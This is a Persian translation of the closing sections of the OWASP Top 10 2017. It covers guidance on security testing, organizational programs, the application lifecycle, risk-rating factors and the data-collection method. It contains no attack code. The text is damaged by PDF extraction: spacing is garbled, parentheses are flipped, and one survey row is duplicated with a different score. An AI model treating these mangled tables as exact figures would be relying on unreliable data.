 OWASP ASVS مــدل تهدیــد ناشــی می‌شــوند ، بنابرایــن اگــر یکــی را نداریــد، نیــاز اســت کــه قبــل از آزمایــش آن را ایجــاد کنیــد . اســتفاده از
و راهنمــای آزمایــش OWASP بــه عنــوان یــک ورودی را در نظــر بگیریــد و بــه صــرف فروشــندگان ابــزار بــرای تصمیم‌گیــری دربــاره اینکــه چــه 

چیــز بــرای کســب‌وکار شــما مهــم اســت، اتــکا نکنیــد.

شما SDLC درک
 SDLC ( رویکــرد شــما بــرای تســت امنیــت برنامــه بایــد بــه شــدت بــا افــراد ، فرآیندهــا ، و ابزارهایــی کــه در چرخــه حیــات توســعه برنامــه

( اســتفاده می‌کنیــد ، ســازگار باشــد. تــاش بــرای اعمــال گام‌هــای بیشــتر ، گیــت هــا و بررســی هــا بــه احتمــال زیــاد باعــث ایجــاد اصطــکاک، 
ــه خودباشــید. ــه برنام ــی و بازخــورد آن ب ــرای جمــع‌آوری اطلاعــات امنیت ــی ب ــال فرصت‌هــای طبیع ــه دنب ــری می‌شــود. ب دورزدن و درگی

استراتژی‌های آزمایشی

ــی OWASP و اســتاندارد  ــش امنیت ــد . چارچــوب دان ــد کنی ــزام را تایی ــا هــر ال ــد ت ــن روش را انتخــاب کنی ســاده‌ترین و ســریع‌ترین و دقیق‌تری
ــان  ــان و تســت یکپارچگــی باشــند . اطمین ــی در واحدت ــر عملیات ــی و غی ــی عملیات ــات امنیت ــی از الزام ــع خوب ــد مناب ــه می‌توانن ــت برنام ــد امنی تایی
حاصــل کنیــد کــه منابــع انســانی مــورد نیــاز بــرای مقابلــه بــا مثبــت هــای کاذب اســتفاده از ابزارهــای خــودکار و همچنیــن خطــرات جــدی منفــی 

هــای کاذب در نظــر گرفتــه شــده اســت. 

دستیابی به پوشش و دقت

نیــازی نیســت کــه همــه چیــز را آزمایــش کنیــد . بــر روی آنچــه مهــم اســت تمرکــز کــرده و برنامــه بررســی خــود را در طــول زمــان گســترش 
دهیــد . ایــن بــه معنــی گســترش دفــاع امنیتــی وریســک هاســت کــه بــه طــور خــودکار بررســی ‌شــده و بخوبــی گســترش مجموعــه‌ای از   برنامــه 
هــا و API  هــا پوشــش داده ‌شــوند . هــدف دســتیابی بــه وضعیتــی اســت کــه در آن امنیــت لازم تمــام برنامــه هــا و API هــا بــه طــور مــداوم 

ــود . ــی می‌ش بررس

ســاختن کــد بــه صــورت امــن مهــم اســت، امــا مهــم تراینکــه اطمینــان حاصــل شــود کــه امنیتــی کــه بــرای ســاخت درنظــر گرفتــه شــده ، واقعــا وجــود دارد ، بــه درســتی اجــرا شــده  و 
در هــر جایــی کــه قــرار اســت باشــد اســتفاده می‌شــود.  هــدف از آزمــون امنیــت برنامــه ، ارائــه ایــن گواهــی اســت. ایــن کار دشــوار و پیچیــده اســت و فرآیندهــای پیشــرفته توســعه بــا 
ســرعت بــالا ماننــد Agile و DevOps  فشــار بســیار زیــادی را بــر روش‌هــا و ابزارهــای ســنتی گذاشــته انــد.  بنابرایــن مــا بــه شــدت شــما را تشــویق می‌کنیــم تــا بــه ایــن فکــر کنیــد کــه 

چطــور بــر روی آنچــه در کل برنامــه تــان مهــم اســت تمرکــز کنیــد  و ایــن کار را بــه طــور موثــر انجــام دهیــد.

ریســک‌های مــدرن بــه ســرعت حرکــت می‌کننــد، بنابرایــن روزهــا اســکن یــا تســت نفــوذ بــرای آســیب‌پذیری یــک برنامــه ســالی یکبــار و یــا بــه همیــن ترتیــب زمانــی طولانــی 
ســپری می‌شــود.  توســعه برنامــه  مــدرن نیازمنــد تســت پیوســته امنیــت برنامــه در سراســر چرخــه عمــر توســعه برنامــه  اســت. راه تســهیل خطــوط توســعه موجــود ،اســتفاده ازخودکارســازی 
امنیتــی اســت کــه توســعه را کنــد نمی‌کنــد. هــر روشــی کــه انتخــاب مــی کنیــد، هزینــه ســالیانه را بــرای تســت، ترمیــم، بازآمــوزی و بازنشــانی یــک برنامــه تکمیلــی، ضــرب در انــدازه 

برنامــه در نظــر بگیریــد.

+T 

مهــم نیســت کــه در حــال آزمایــش چقــدر خــوب هســتید ، فرقــی نمی‌کنــد مگــر ایــن کــه بــه طــور موثــر بــا آن ارتبــاط برقــرار کنیــد . بــا نشــان 
دادن نحــوه کارکــردن برنامــه اعتمــاد ســازی کنیــد . توضیــح دهیــد کــه چگونــه می‌توانــد بــدون " زبــان " مــورد ســوء اســتفاده قرارگیــرد و شــامل 
یــک ســناریوی حملــه بــرای واقعــی ســاختن آن مــی باشــد . بــرآوردی واقــع بینانــه از اینکــه کشــف و بهــره بــرداری آســیب پذیــری چقــدر ســخت 

اســت و میــزان بــد بــودن آن داشــته باشــید . در نهایــت  یافتــه هــای تیــم توســعه ابزارهــادر حــال اســتفاده بــوده وPDF  نیســت.

یافته های خود رابیان کنید



چه چیزدیگری برای سازمان ها وجود دارد

حالا فرآیند امنیت برنامه خود را شروع کنید

 شروع

ــت  ــگاه ‌داده مدیری ــرای پای ــد اج ــر بای ــازمان‌های بزرگ‌ت ــد. س ــتند کنی ــاآن را مس ــط ب ــای مرتب ــردی و دارایی‌ه ــای کارب ــه ه ــام برنام • تم
ــد. ــر بگیرن ــن منظــور در نظ ــرای ای ــدی را ب پیکربن

• ایجاد برنامه امنیت برنامه و راه‌اندازی سلسله مراتب.
• قابلیــت تجزیــه و تحلیــل شــکاف توانمنــدی ســازمان خــود را بــا همتایــان خــود مقایســه تاحــوزه هــای بهبــود کلیــدی و یــک برنامــه اجرایــی را 

تعریــف کنیــد.
• کسب تاییدیه مدیریت و ایجاد یک کمپین آگاهی امنیتی کاربردی برای IT کل سازمان

رویکرد دارایی  مبتنی برریسک

• شناســایی نیازهــای حفاظــت از دارایــی برنامــه تــان از دیــدگاه کســب ‌وکار. ایــن بایــد بخشــی از قوانیــن حریــم خصوصــی وســایر مقــررات 
مربــوط بــه دارایــی هــا باشــد.

• یک مدل رتبه بندی ریسک را با مجموعه ای از عوامل مؤثر و تأثیرگذار بر تحمل پذیری ریسک سازمان ایجاد کنید.
• بر این اساس تمام برنامه ها وAPI هایخود را اولویت ‌بندی و نتایج را به CMDB خود اضافه کنید.

• ایجاد دستورالعمل‌های تضمین برای تعریف درست پوشش وسطح شدت مورد نیاز.

ــرای ایمن‌ســازی برنامــه هــاو API هــا  ــر وقابلیت‌هایــی ب امنیــت برنامــه دیگراختیــاری نیســت. بیــن افزایــش حمــات وفشــارهای تنظیمــی یانظارتــی، ســازمان‌ها بایــد فرایندهــای موث
ایجادکنند.بــا توجــه بــه مقــدار سرســام‌آور کــد دربرنامــه هــای متعــدد وAPIهــا درحــال حاضردرتولید،بســیاری از ســازمان‌ها در تــاش هســتند تادســته عظیمــی ازآســیب‌پذیری رابــه دســت 

ورند. آ
ــه  ــت برنام ــه امنی ــتیابی ب ــد. دس ــا ایجادکنن ــا و API ه ــه ه ــت در برنام ــناخت و بهبودامنی ــب ش ــرای کس ــردی ب ــی کارب ــه امنیت ــک برنام ــه ی ــازمان‌هاتوصیه می‌کندک ــه س Owasp   ب

نیازمندبســیاری از بخش‌هــای مختلــف یــک ســازمان اســت ،از جملــه امنیــت وحسابرسی،توســعه برنامــه ،تجــارت ومدیریــت اجرایــی کــه بــه طــور موثرمــی بایســت بایکدیگرهــم‌کاری 
کننــد. امنیــت بایدقابل‌مشــاهده و‌اندازه‌گیــری باشــد، بــه طــوری کــه تمــام عوامــل مختلــف بتوانندوضعیــت امنیتــی برنامــه ســازمان رادیــده و درک کننــد. تمرکــز بــر فعالیت‌هــا ونتایجــی 

ــد. ــه بهبودامنیــت شــرکت  باحــذف یاکاهــش ریســک کمــک می‌کنن ــع ب کــه در واق
SAMM OWASP و OWASP Application Security Guide for CISOs )راهنمای امنیت برنامهOWASP برایCISOs(، منبع اکثرفعالیت‌های کلیدی دراین فهرست است.

+O 

ایجاد یک پایه واساس قوی

ــا  ــرای همــه ی تیم‌هــای توســعه مشــخص می‌کننــد ت ایجــاد مجموعــه‌ای از سیاســت‌ها و اســتانداردهایی کــه اســاس امنیــت برنامــه را ب
بــر اســاس آن عمــل کننــد. 

ــای  ــه راهنمایی‌ه ــتانداردها و ارائ ــت‌ها و اس ــن سیاس ــل ای ــرای تکمی ــتفاده ب ــی قابل‌اس ــای امنیت ــترک ازکنترل‌ه ــه مش ــک مجموع ــف ی تعری
طراحــی و توســعه در مــورد اســتفاده از آن‌هــا

ایجاد یک برنامه آموزشی امنیتی کاربردی که مورد نیاز بوده و نقش‌ها و موضوعات مختلف توسعه را هدف قرار می دهد.

 ادغام امنیت درفرآیندهای
موجود

تعریــف و ادغــام پیاده‌ســازی امــن و فعالیت‌هــای بررســی در توســعه موجــود و فرآیندهــای عملیاتــی. فعالیت‌هــا شــامل مدل‌ســازی تهدیــد، 
طراحــی امــن و مــرور طراحی،کــد گــذاری امــن و مرورکــد، تســت نفــوذ و اصــاح هســتند.

تامین کارشناسان موضوعی و پشتیبانی از سرویس های توسعه و تیم پروژه برای موفقیت.

ارائه دید مدیریتی

مدیریــت بــا معیارهــا. تصمیمــات ســرمایه‌گذاری براســاس معیارهــا و داده هــای آنالیزشــده را پیشــرفت دهیــد. معیارهــا عبارتنــد از پایبنــدی 
بــه اقدامــات امنیتــی وفعالیت‌هــا ، آســیب‌های معرفــی شــده ،آســیب‌پذیری، پوشــش برنامــه، تراکــم نقــص توســط نــوع و تعــداد نمونــه و غیــره.

تجزیــه و تحلیــل داده هــا از اجــرا و بررســی فعالیت‌هــا بــرای جســتجوی علــل ریشــه‌ای و الگوهــای آســیب‌پذیری درجهــت پیشــبرد اهــداف 
راهبــردی و سیســتمی در سراســر ســازمان صــورت مــی گیــرد. ازاشــتباهات یــاد بگیریــد و مشــوق‌های مثبــت بــرای ارتقــاء پیشــرفت ارائــه دهیــد.



چه چیزدیگری برای مدیران برنامه وجود دارد

مدیریت چرخه کامل برنامه

نیازمندی ها و مدیریت منابع

• جمــع‌آوری ومذاکــره دربــاره نیازمنــدی هــای کســب‌وکاربرای یــک برنامــه شــامل:دارایی‌های نیازمندحفاظــت وکســب ‌وکارمــورد انتظاردررابطــه 
بــا محرمانگــی ،اصالت،یکپارچگــی ودر دســترس بــودن همــه داده هــا

 • نیازمندی های فنی شامل نیازمندی‌های امنیتی عملیاتی وغیرعملیاتی را گردآوری کنید.

• برنامه ریزی و مذاکره بودجه که شامل تمام جنبه های طراحی، ساخت، آزمایش و عملیات، از جمله فعالیت های امنیتی است.

درخواست پیشنهادها
(RFP)و قرارداد

• شــرایط لازم را بــا توســعه دهنــدگان داخلــی یــا خارجــی، از جملــه دســتورالعمل هــا و الزامــات امنیتــی مربــوط بــه برنامــه امنیتــی خــود، بــه 

عنــوان مثــال SDLC، مذاکــره کنیــد.
• ارزیابی اجرای تمام الزامات فنی، از جمله مرحله برنامه ریزی و طراحی

)SLA( مذاکره همه شرایط فنی، از جمله طراحی، امنیت، و توافق نامه های سطح سرویس •
.OWASP Secure Software Contract Annex اتخاذ قالب ها و چک لیست ها، مانند •

توجــه: ایــن ضمیمــه بــرای قانــون قــراردادی ایــالات متحــده اســت، بنابرایــن قبــل از اســتفاده از ضمیمــه نمونــه لطفــا مشــاوره حقوقــی ازمشــاور 
واجــد شــرایط دریافــت کنیــد.

برنامــه هــا بــه پیچیــده تریــن سیســتم هاتعلــق دارنــد کــه بــه طــور مرتــب ایجــاد و حفــظ مــی شــوند. مدیریــت فنــاوری اطلاعــات بــرای یــک برنامــه بایــد توســط متخصصــان فنــاوری 
اطلاعــات انجــام شــود کــه مســئولیت کل چرخــه عمــر فنــاوری اطلاعــات یــک برنامــه را دارنــد. پیشــنهاد مــی شــود نقــش مدیــر برنامــه بــه عنــوان متخصــص فنــی مالــک نــرم افــزار 
تعییــن گــردد. مدیــر برنامــه مســئول کل چرخــه عمــر برنامــه از دیــدگاه فنــاوری اطلاعــات اســت، از جمــع آوری نیازمنــدی هــا تــا رونــد سیســتم بازنشســتگی، کــه اغلــب نادیــده گرفتــه 

مــی شــود.

+A

برنامه ریزی و طراحی

• برنامه ریزی و طراحی را با توسعه دهندگان و سهامداران داخلی مذاکره کنید، برای مثال متخصصان امنیتی.
• معمــاری امنیتــی، کنتــرل هــا و اقدامــات متقابــل مناســب بــرای نیازهــای حفاظــت و ســطح تهدیــد پیــش بینــی شــده را تعریــف کنیــد. ایــن بایــد 

توســط متخصصــان امنیتــی پشــتیبانی شــود.
• اطمینان حاصل کنید که مالک نرم افزار ریسک های باقیمانده را دریافت می کند یا منابع بیشتری را فراهم می کند.

• در هــر ســرعت، از ایجــاد داســتان هــای امنیتــی کــه شــامل محدودیــت هــای اضافــه شــده بــرای نیازمنــدی هــای غیــر عملیاتــی  اســت، مطمئــن 
. ید شو

استقرار، تست و راه اندازی

• راه اندازی خودکار امن برنامه، رابط ها و تمام اجزای مورد نیاز از جمله مجوزهای لازم 
• تست عملکرد فنی و یکپارچه سازی با معماری فناوری اطلاعات و هماهنگ سازی آزمون های کسب و کار

• ایجاد موارد "استفاده" و "سوء استفاده" از دیدگاه های فنی و تجاری
• مدیریت تست های امنیتی بر اساس فرآیندهای داخلی، نیازهای حفاظت، و سطح تهدید فرض شده توسط برنامه

• قرار دادن برنامه درحالت عملیاتی و مهاجرت از برنامه های قبلی در صورت لزوم
• نهایی کردن تمام مستندات، شامل پایگاه اطلاعات مدیریت تغییر )CMDB( و معماری امنیتی 

عملیات و مدیریت تغییر

• عملیات باید شامل دستورالعمل هایی برای مدیریت امنیت برنامه )مانند مدیریت پچ( باشد.
•  افزایش آگاهی امنیتی از کاربران و مدیریت اختلالات در مورد قابلیت استفاده در مقابل امنیت.

• برنامــه ریــزی و مدیریــت تغییــرات، بــه عنــوان مثــال مهاجــرت بــه نســخه هــای جدیــد برنامــه یــا اجــزای دیگــر ماننــد سیســتم عامــل، میــان 
افــزار و کتابخانــه هــا.

• به روزرسانی تمام اسناد و مدارک، از جمله در CMDB  و معماری امنیتی، کنترل ها و اقدامات متقابل نظیر هرگونه مستندات پروژه.

سیستم های کناره گیر

• هــر اطلاعــات مــورد نیــاز بایــد بایگانــی شــود. تمــام داده هــای دیگــر بایــد بصــورت امــن پــاک شــود. بــه صــورت کامــا مطمئــن برنامــه 
شــامل حســاب هــا ، نقــش هــا و مجوزهــای غیرمفیــد حــذف شــده کنارگذاشــته شــوند.

• وضعیت برنامه خود را تنظیم کنید تا در CMDB کنار گذاشته شود.



به ریسک ها توجه شود

این درباره ریسک هایی است که ضعف ها رانشان می دهد

روش رتبــه بنــدی ریســک بــرای Top 10 براســاس روش OWASP Risk Rating اســت. بــرای هــر گــروه از Top 10  مــا ریســک معمولــی را تخمیــن زدیــم کــه هــر ضعــف بــه یــک برنامــه 
وب معمولــی بــا نگاهــی بــه عوامــل موثــر و تاثیرگــذار هــر ضعــف وارد مــی شــود. ســپس مــا 10 امتیــاز را بــا توجــه بــه ضعــف هایــی کــه بــه طــور معمــول بیشــترین خطــر را بــرای یــک 

برنامــه ارائــه مــی دهنــد، اختصــاص دادیــم. ایــن عامــل هــا بــا هــر نســخه جدیــد Top 10 بــه روز مــی شــود. چراکــه همــه چیزتغییرمی‌کنــد وتکامــل می‌یابــد.
روش ارزیابــی ریســک OWASP عوامــل متعــددی را بــرای کمــک بــه محاســبه خطــر آســیب پذیــری مشــخص شــده تعییــن مــی کنــد. بــا ایــن حــال، Top 10  بایــد در مــورد کلیــات، نــه 
آســیب پذیــری هــای خــاص برنامــه هــای واقعــی و API هــا صحبــت کنــد. در نتیجــه مــا هرگــز نمی‌توانیــم بــه انــدازه مالــکان برنامــه و یــا مدیــران هنــگام محاســبه ریســک بــرای برنامــه 
آن‌هــا دقیــق باشــیم. شــما بــرای قضــاوت دربــاره اهمیــت برنامــه و اطلاعــات خــود، کــه تهدیــدات شــما کدامنــد و اینکــه چگونــه سیســتم شــما ســاخته و فعــال شده‌اســت، بهتریــن هســتید.

روش مــا شــامل ســه فاکتــور احتمالــی بــرای هــر ضعــف )شــیوع، تشــخیص و اکســپلویت آســان( و یــک عامــل موثــر )تاثیــر فنــی( اســت. مقیاس‌هــای ریســک بــرای هرفاکتــور از1تــا3 
بــه بــالا بــا اصطلاحــات خــاص بــرای هرعامــل متغیــر اســت. شــیوع یــک ضعــف فاکتــوری اســت کــه معمــولا مجبــور نیســتید حســاب کنیــد. بــرای جمــع‌آوری داده هــا، آمــار شــیوع 
ازتعــدادی از ســازمان‌های مختلــف )کــه درصفحه25بــه آن اشــاره شــده(گرفته و ارائــه شــده و مــا داده هــای آن‌هــارا بــا هــم جمــع کردیــم تــا10 احتمــال بــالای لیســت موجودیــت باتوجــه 
بــه شــیوع را ارائــه دهیــم. ســپس ایــن داده هــا بــا دو عامــل احتمــال دیگر)تشــخیص و اکســپلویت آســان( ترکیــب شــدند تــا یــک امتیــاز احتمالــی بــرای هــر ضعــف محاســبه شــود. پــس 
از آن، ضریــب احتمــال بــا ضریــب تاثیــر تخمیــن زده شــده بــرای هــر مــورد، ضــرب مــی شــود تــا رتبــه بنــدی ریســک کلــی بــرای هــر مــورد در Top 10 را نشــان دهــد )هرچــه بالاتــر 

، ریســک هــم بیشــتر( تشــخیص، اکســپلویت آســان و تاثیــر از طریــق تجزیــه و تحلیــل CVE هــای گــزارش شــده کــه بــا هــر یــک از 10 دســته برتــر مرتبــط بودنــد محاســبه شــد .
توجــه: ایــن رویکــرد احتمــال عامــل تهدیــد را درنظــر نمی‌گیــرد. همچنیــن هیــچ یــک ازجزییــات فنــی مرتبــط بــا برنامــه ویــژه شــمارا نیــز در نظــر نمی‌گیــرد. هــر یــک از ایــن عوامــل 
مــی توانــد بــه طــور قابــل توجهــی احتمــال حملــه مهاجــم و بهــره بــرداری از آســیب پذیــری خــاص را تحــت تاثیــر قــرار دهــد. ایــن رتبــه تاثیــر واقعــی روی کســب‌ وکارشــما را در نظــر 
نمی‌گیــرد. ســازمان شــما بایــد تصمیــم بگیــرد کــه چــه مقــدار از خطــر امنیتــی از برنامــه هــا و API هــا را بــا توجــه بــه فرهنــگ، صنعــت و محیــط قانونــی شــما مــی توانــد بپذیــرد. هــدف 

OWASP Top 10 ایــن نیســت کــه ایــن تحلیــل ریســک را بــرای شــما انجــام دهــد.
موارد زیر محاسبه ما از ریسک Security Misconfiguration-2017 :A6  را نشان می دهد.

+R



جزئیات فاکتورهای ریسک

خلاصه ی ده عامل ریسک برتر

جــدول زیرخلاصــه‌ای از 10 ریســک امنیتــی کاربــردی 2017 و عوامــل کــه مــا بــرای هــر ریســک تعییــن کرده‌ایــم را نشــان می‌دهــد ایــن فاکتورهــا براســاس آمــار موجــود وتجربــه تیــم 
OWASP Top 10  تعییــن شــده انــد. بــرای درک ایــن ریســک هــا بــرای یــک برنامــه یــا ســازمان خــاص، شــما بایــد عوامــل تهدیــد خــاص و اثــرات کســب‌وکار خــود را در نظــر بگیریــد. 
درصورتــی کــه هیــچ عامــل تهدیــد درموقعیتــی بــرای انجــام حملــه لازم وجــود نداشــته باشــد یــا تاثیرکســب‌وکار ناچیزباشــد, حتــی وجــود ضعف‌هــای برنامــه ی شــدید نیزممکــن اســت 

خطرجــدی را درپــی نداشــته باشــد.

+RF

ریسک مسیرهای حمله ضعف امنیتی تاثیرات امتیاز

عوامل تهدید اکسپلویت شدن شیوع تشخیص فنی کاربردی
A1:2017- Injec-

tion برنامه خاص آسان معمولی آسان شدید برنامه خاص 8
A2:2017-

Authentication برنامه خاص آسان معمولی متوسط شدید برنامه خاص 7
A3:2017-

Sens. Data Ex-
posure

برنامه خاص متوسط گسترده متوسط شدید برنامه خاص 7

A4:2017-XML 
External Entities 

(XXE)

برنامه خاص متوسط معمولی آسان شدید برنامه خاص 7

A5:2017-Broken 
Access Control برنامه خاص متوسط معمولی متوسط شدید برنامه خاص 6

A6:2017-Security 
Misconfiguration برنامه خاص آسان گسترده آسان درحد متوسط برنامه خاص 6
A7:2017-Cross-

Site 
Scripting (XSS)

برنامه خاص آسان گسترده آسان درحد متوسط برنامه خاص 6

A8:2017-Insecure 
Deserialization برنامه خاص سخت معمولی متوسط شدید برنامه خاص 5

A9:2017-Vulner-
able

Components

برنامه خاص متوسط گسترده متوسط درحد متوسط برنامه خاص 4.7

A10:2017Log-
ging&Monitor-

ing-

برنامه خاص متوسط گسترده سخت درحد متوسط برنامه خاص 4

ریسک های اضافی برای در نظر گرفتن

Top10 بســیاری از زمینــه هــا را پوشــش مــی دهــد، امــا ریســک هــای زیــادی وجــود دارد کــه بایــد در ســازمان خــود در نظــر بگیریــد و ارزیابــی کنیــد.  بعضــی از ایــن هــا در نســخه هــای 

قبلــی Top 10 ظاهــر شــده انــد و برخــی از جملــه تکنیــک هــای جدیــد حملــه کــه در همــه زمــان هــا شناســایی مــی شــوند، دیــده نشــده انــد. دیگــر خطــرات امنیتــی مهــم برنامــه )بــه 
ترتیــبCWE-ID ( کــه شــما نیــز بایــد در نظــر بگیریــد عبارتنــد از:

)CWE-352: Cross-Site Request Forgery (CSRF 	•
)'CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion', 'AppDoS 	•
CWE-434: Unrestricted Upload of File with Dangerous Type 	•
)CWE-451: User Interface (UI) Misrepresentation of Critical Information           (Clickjacking and others 	•
CWE-601: Unvalidated Forward and Redirects 	•
)CWE-799: Improper Control of Interaction Frequency (Anti-Automation 	•
 )CWE-829: Inclusion of Functionality from Untrusted Control Sphere (3rd Party Content 	•

)CWE-918: Server-Side Request Forgery (SSRF 	•



روش و داده

مرور

ــا بررســی‌های  ــا حــدی ب ــا اســتفاده از داده هــای کمــی و ت ــروژهOWASP شــرکت کننــدگان فعــال واعضــای جامعــه از منظــر آســیب‌پذیری تصمیــم گرفتنــد. کلاس‌هــای آســیب‌پذیری را ب درنشســت پ

کیفــی ، 2 پلــه بــه جلــو ببرنــد.

+DAT

برآورد رتبه بندی شده صنعت

بــرای ایــن نظرســنجی، مــا دســته هــای آســیب پذیــری را کــه پیــش از ایــن بــه عنــوان on the cusp شــناخته شــده بودنــد و یــا در لیســت بازخــورد RC1 2017 در لیســت TOP 10 ذکــر شــده بودنــد 

 OWASP Top جمــع آوری کردیــم. مــا آنهــا را بــا یــک نظرســنجی رتبــه بنــدی کــرده و از پاســخ دهنــدگان خواســته ایــم تــا چهــار آســیب پذیــری بالایــی را رتبــه بنــدی کننــد کــه مــی بایســت در

10-2017 قــرار گیرنــد. ایــن نظرســنجی از 2 تــا 18 ســپتامبر 2017 انجــام شــد. 516 پاســخ جمــع آوری شــد و آســیب پذیــری هــا رتبــه بنــدی شــدند.

امتیاز بررسی گروههای آسیب پذیری ردیف

748  ('Privacy Violation') [CWE-359] درمعرض افشاء قرار گرفتن اطلاعات خصوصی 1

584 [CWE-310/311/312/326/327] شکستن رمزنگاری 2

514 [CWE-310/311/312/326/327] شکستن رمزنگاری 3

514  (IDOR* & Path Traversal) [CWE-639] مجوز عبور از کلید کنترل کاربر 4

440  [CWE-223 / CWE-778] رویدادنگاری و نظارت ناکافی 5

 A3 در معــرض افشــاء قــرار گرفتــن اطلاعــات خصوصــی بــه وضــوح بالاتریــن آســیب پذیــری اســت، امــا بــه راحتــی بــه عنــوان یــک تاکیــد اضافــی در مــورد قــرار گرفتــن در معــرض افشــاءاطلاعات

 :A8 2017  حســاس اســت. شکســت هــای رمزنــگاری مــی تواننــد در محــدوده اطلاعــات حســاس قــرار گیرنــد. رعایــت نکــردن امنیــت در رتبــه ســوم قــرار داشــت و پــس از آن رتبــه 10 را بــه عنــوان

Insecure Deserialization-2017 اضافــه کــرد. چهارمیــن رده  Broken Access Control -A5:2017  )شکســته شــدن کنتــرل دسترســی (اســت. دربســیاری از نظــر ســنجی هــا، بــه عنــوان 

آســیب پذیــری هــای مجــوز، رتبــه بالایــی دارد. رتبــه 5  رده بنــدی در نظرســنجی رویدادنــگاری  و نظــارت ناکافــی اســت کــه مــا معتقدیــم کــه مناســب بــرای لیســت TOP 10  اســت، بــه همیــن دلیــل 

اســت کــه آن تبدیــل بــه Insufficient Logging & Monitoring 2017 :A10 شــده اســت. مــا بــه یــک نقطــه ای رســیده ایــم کــه در آن برنامــه هــا بایــد بتواننــد تعریــف کننــد کــه چــه چیــزی 

ممکــن اســت یــک حملــه باشــد و قــادر بــه ثبــت هشــدار، تشــدید و واکنــش مناســب باشــند.

فراخوانی اطلاعات عمومی

ــم،  ــه می‌دانی ــدند. همانطورک ــت ش ــده یاف ــش ش ــای آزمای ــیب‌پذیری درکاربرده ــد آس ــد: چن ــس بودن ــای فرکان ــوط داده‌ه ــداد خط ــتر در امت ــده بیش ــز ش ــده وآنالی ــای جمع‌آوری‌ش ــنتی، داده‌ه ــور س ــه ط ب

ــا چنــد مثــال را گــزارش می‌کننــد ایــن باعــث مــی شــود کــه  ابزارهایــی بــه طــور ســنتی همــه نمونه‌هــای یافت‌شــده ازآســیب‌پذیری راگــزارش می‌کننــد و انســان‌ها بــه طــور ســنتی یــک یافتــه تنهــا ب

ترکیــب دو ســبک گــزارش دهــی بــه شــیوه ای قابــل مقایســه خیلــی ســخت باشــد.

بــرای ســال2017 نــرخ شــیوع توســط چندیــن برنامــه دریــک مجموعــه داده کــه یــک یــا چنــد نمونــه آســیب‌پذیری را داشــتند محاســبه شــد. داده هــای بســیاری از همــکاران بــزرگ در دو دیــدگاه ارائــه شــده 

اســت. اول، فرکانــس ســنتی شــمارش هــر نمونــه آســیب پذیــری بــود، در دومــی تعــداد برنامــه هــای کاربــردی بــود کــه در آن هــر یــک از آســیب پذیــری هــا )یــک یــا چنــد بــار( یافــت شــد. در حالــی کــه 

کامــل نیســت ، ایــن منطــق بــه مــا اجــازه مــی دهــد کــه داده هــا را بــا ابزارهــای کمکــی و کمــک هــای ابــزار انســان مقایســه کنیــم. داده هــای خــام و تجزیــه و تحلیــل کار در GitHub در دســترس 

اســت. مــا قصــد داریــم ایــن کار را بــا ســاختاری بیشــتر بــرای نســخه‌های آینــده Top 10 گســترش دهیــم. مــا بیــش از 40 مطالــب ارســالی را درفراخوانــی بــرای داده دریافــت کردیــم وچــون بســیاری 

ازداده‌هــای اصلــی روی فرکانــس متمرکزشــده بودنــد، مــا قــادر بودیــم از داده‌های23شــرکت‌کننده در پوشــش 114000 برنامــه‌ اســتفاده کنیــم.

مــا از یــک بلــوک زمانــی یــک ســاله اســتفاده کردیــم کــه امــکان شناســایی توســط شــرکت کننــده را دارد. اکثریــت برنامــه هــای کاربــردی منحصــر بــه فــرد هســتند، هرچنــد مــا احتمــال برخــی برنامــه 

هــای تکــراری بیــن داده هــای ســالانه Veracode را تاییــد مــی کنیــم. 23 مجموعــه داده مــورد اســتفاده بــه عنــوان ابــزار آزمایــش انســانی یــا بــه طــور خــاص نــرخ شــیوع از ابزارهــای کمکــی انســانی 

شناســایی شــدند. بــی قاعدگی‌هــا در داده‌هــای انتخابــی 100%+ شــیوع مــوارد بــه حداکثــر100 درصدتنظیــم شــدند. بــرای محاســبه میــزان شــیوع، مــا درصــد کل برنامــه هــای موجــود را کــه حــاوی هــر 

نــوع آســیب پذیــری بــود، محاســبه کردیــم. رتبــه بنــدی شــیوع بــرای محاســبه شــيوع در ریســک کلــی بــرای رتبــه بنــدی TOP10 مــورد اســتفاده قــرار گرفــت.
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